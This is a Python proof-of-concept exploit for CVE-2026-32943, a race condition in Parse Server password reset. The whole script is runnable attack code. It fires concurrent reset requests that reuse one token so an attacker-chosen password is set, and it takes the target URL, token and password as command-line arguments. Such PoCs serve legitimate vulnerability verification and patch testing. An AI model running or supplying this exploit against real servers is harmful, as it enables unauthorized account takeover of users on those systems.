# CVE-2026-32943 PoC - Race Condition in Parse Server Password Reset
# This PoC demonstrates how multiple concurrent requests can use the same reset token
import requests
import concurrent.futures
import argparse
def reset_password(base_url, token, new_password):
"""
Attempt to reset password using the reset token
"""
url = f"{base_url}/requestPasswordReset"
data = {
"token": token,
"new_password": new_password
}
try:
response = requests.post(url, json=data, timeout=10)
return {
"status_code": response.status_code,
"response": response.text,
"success": response.status_code == 200
}
except Exception as e:
return {"error": str(e), "success": False}
def exploit_race_condition(base_url, token, attacker_password, num_threads=10):
"""
Send multiple concurrent password reset requests using the same token
This exploits the race condition to set the password to the attacker's value
"""
print(f"[*] Starting race condition attack with {num_threads} concurrent requests...")
print(f"[*] Target: {base_url}")
print(f"[*] Token: {token}")
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
futures = [
executor.submit(reset_password, base_url, token, attacker_password)
for _ in range(num_threads)
]
results = [f.result() for f in concurrent.futures.as_completed(futures)]
successful = [r for r in results if r.get("success")]
print(f"[*] Completed {len(results)} requests")
print(f"[*] Successful requests: {len(successful)}")
if len(successful) > 1:
print("[!] VULNERABLE: Multiple requests succeeded with the same token!")
print("[!] The attacker may have successfully set their password")
else:
print("[*] Patch appears to be applied - only one request succeeded")
return results
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-32943 PoC")
parser.add_argument("--url", required=True, help="Parse Server base URL")
parser.add_argument("--token", required=True, help="Password reset token")
parser.add_argument("--password", default="AttackerP@ss123!", help="Attacker's chosen password")
parser.add_argument("--threads", type=int, default=10, help="Number of concurrent threads")
args = parser.parse_args()
exploit_race_condition(args.url, args.token, args.password, args.threads)